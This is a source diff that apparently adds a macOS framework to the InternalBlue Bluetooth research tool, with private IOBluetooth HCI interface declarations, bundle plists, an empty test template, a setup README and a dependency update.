- (int)BluetoothHCIRemoteNameRequestCancel:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIRemoteNameRequest:(const struct BluetoothDeviceAddress *)arg1 inPageScanRepetitionMode:(unsigned char)arg2 inReserved:(unsigned char)arg3 inClockOffset:(unsigned short)arg4 outRemoteNameRequestCompleteResults:(struct BluetoothHCIEventRemoteNameRequestResults *)arg5;
- (int)BluetoothHCIMasterLinkKey:(unsigned char)arg1 outMasterLinkKeyCompleteResults:(struct BluetoothHCIEventMasterLinkKeyCompleteResults *)arg2;
- (int)BluetoothHCIChangeConnectionLinkKey:(unsigned short)arg1 outChangeConnectionLinkKeyCompleteResults:(struct BluetoothHCIEventChangeConnectionLinkKeyCompleteResults *)arg2;
- (int)BluetoothHCISetConnectionEncryption:(unsigned short)arg1 inEncryptionEnable:(unsigned char)arg2 outEncryptionChangeResults:(struct BluetoothHCIEventEncryptionChangeResults *)arg3;
- (int)BluetoothHCIAuthenticationRequested:(unsigned short)arg1 outAuthenticationCompleteResults:(struct BluetoothHCIEventAuthenticationCompleteResults *)arg2;
- (int)BluetoothHCIChangeConnectionPacketType:(unsigned short)arg1 inPacketType:(unsigned short)arg2 outConnectionPacketTypeChangedResults:(struct BluetoothHCIEventConnectionPacketTypeResults *)arg3;
- (int)BluetoothHCIPINCodeRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIPINCodeRequestReply:(const struct BluetoothDeviceAddress *)arg1 inPINCodeLength:(unsigned long long)arg2 inPINCode:(const struct BluetoothPINCode *)arg3;
- (int)BluetoothHCILinkKeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCILinkKeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inLinkKey:(const struct BluetoothKey *)arg2;
- (int)BluetoothHCIRejectConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCIAcceptConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCICreateConnectionCancel:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIDisconnect:(unsigned short)arg1 inReason:(unsigned char)arg2 outDisconnectionCompleteResults:(struct BluetoothHCIEventDisconnectionCompleteResults *)arg3;
- (int)BluetoothHCICreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 inPageScanRepetitionMode:(unsigned char)arg3 inReserved:(unsigned char)arg4 inClockOffset:(unsigned short)arg5 inAllowRoleSwitch:(unsigned char)arg6 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg7;
- (int)BluetoothHCIExitPeriodicInquiryMode;
- (int)BluetoothHCIPeriodicInquiryMode:(unsigned char)arg1 inMinPeriodLength:(unsigned char)arg2 inLAP:(unsigned int)arg3 inInquiryLength:(unsigned char)arg4 inNumResponses:(unsigned char)arg5 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg6;
- (int)BluetoothHCIInquiryCancel;
- (int)BluetoothHCIInquiry:(unsigned int)arg1 inInquiryLength:(unsigned char)arg2 inNumResponses:(unsigned char)arg3 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg4;
- (void)releaseRequest:(unsigned int)arg1;
- (unsigned int)requestWithTimeout:(int)arg1 isSynchronous:(BOOL)arg2 device:(id)arg3;
- (int)setClassOfDevice:(unsigned int)arg1 forTimeInterval:(double)arg2;
- (unsigned int)classOfDevice;
- (unsigned short)USBVendorID;
- (unsigned short)USBProductID;
- (int)configState;
- (unsigned int)featureFlags;
- (int)getAddress:(struct BluetoothDeviceAddress *)arg1;
- (id)nameAsString;
- (id)addressAsString;
- (int)setProperty:(id)arg1 forKey:(id)arg2;
- (int)enableRemoteWake:(BOOL)arg1;
- (int)softwareVersion:(struct NumVersion *)arg1 firmwareVersion:(struct BluetoothHCIVersionInfo *)arg2;
- (int)getControllerManufacturerName;
- (int)getDiagnosticInfo;
- (BOOL)isReady;
- (void)finalize;
- (void)dealloc;
- (id)init;
@end
#pragma mark - Private IOBluetooth Functions
struct IOBluetoothHCIDispatchParams {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};
struct BluetoothHCIUserClientNotificationDataInfo {
unsigned long long _field1;
unsigned long long _field2;
struct BluetoothHCIRequestCallbackInfo _field3;
unsigned int parameterSize;
unsigned int _field5;
unsigned short opcode;
unsigned char _field7;
unsigned char _field8;
unsigned char _field9;
unsigned char _field10;
unsigned char _field11;
unsigned char _field12;
};
struct IOBluetoothHCIEventNotificationMessage {
struct BluetoothHCIUserClientNotificationDataInfo dataInfo;
void *eventParameterBytes;
};
int BluetoothHCIRequestCreate(uint32_t *request, int timeout, void* arg3, size_t arg4);
int BluetoothHCIRequestDelete(uint32_t request);
int BluetoothHCISendRawCommand(uint32_t request,
void *commandData,
size_t commmandSize);
int BluetoothHCIDispatchUserClientRoutine(struct IOBluetoothHCIDispatchParams *arguments,
unsigned char *returnValue,
size_t *returnValueSize);
#pragma mark - Helper Methods
/**
Data object for notification message.
*/
static inline NSData * IOBluetoothHCIEventParameterData(IOBluetoothHCIEventNotificationMessageRef message)
//__attribute__((swift_name("getter:IOBluetoothHCIEventNotificationMessageRef.eventParameterData(self:)")))
{
size_t size = message->dataInfo.parameterSize;
NSData *data = [NSData dataWithBytes:&message->eventParameterBytes length:size];
return data;
}
NS_ASSUME_NONNULL_END
@@ -0,0 +1,24 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>FMWK</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>$(CURRENT_PROJECT_VERSION)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2019 Davide Toldo. All rights reserved.</string>
</dict>
</plist>
@@ -0,0 +1,37 @@
//
// IOBluetoothExtendedTests.m
// IOBluetoothExtendedTests
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <XCTest/XCTest.h>
@interface IOBluetoothExtendedTests : XCTestCase
@end
@implementation IOBluetoothExtendedTests
- (void)setUp {
// Put setup code here. This method is called before the invocation of each test method in the class.
}
- (void)tearDown {
// Put teardown code here. This method is called after the invocation of each test method in the class.
}
- (void)testExample {
// This is an example of a functional test case.
// Use XCTAssert and related functions to verify your tests produce the correct results.
}
- (void)testPerformanceExample {
// This is an example of a performance test case.
[self measureBlock:^{
// Put the code you want to measure the time of here.
}];
}
@end
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>BNDL</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
</dict>
</plist>
+23
View File
@@ -0,0 +1,23 @@
macOS Setup
-----------
```
brew install unicorn
pip install pwntools
pip install pyobjc
open internalblue/macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
```
⌘ + B
```
python internalblue/cli.py
```
If you want to use ARM assembly and disassembly, which is required for some patches and debugging:
* brew install https://github.com/Gallopsled/pwntools-binutils/raw/master/osx/binutils-arm.rb
* Xcode 10.2.1
+1
View File
@@ -1 +1,2 @@
pwntools==3.12.2 pwntools==3.12.2
pyelftools==0.24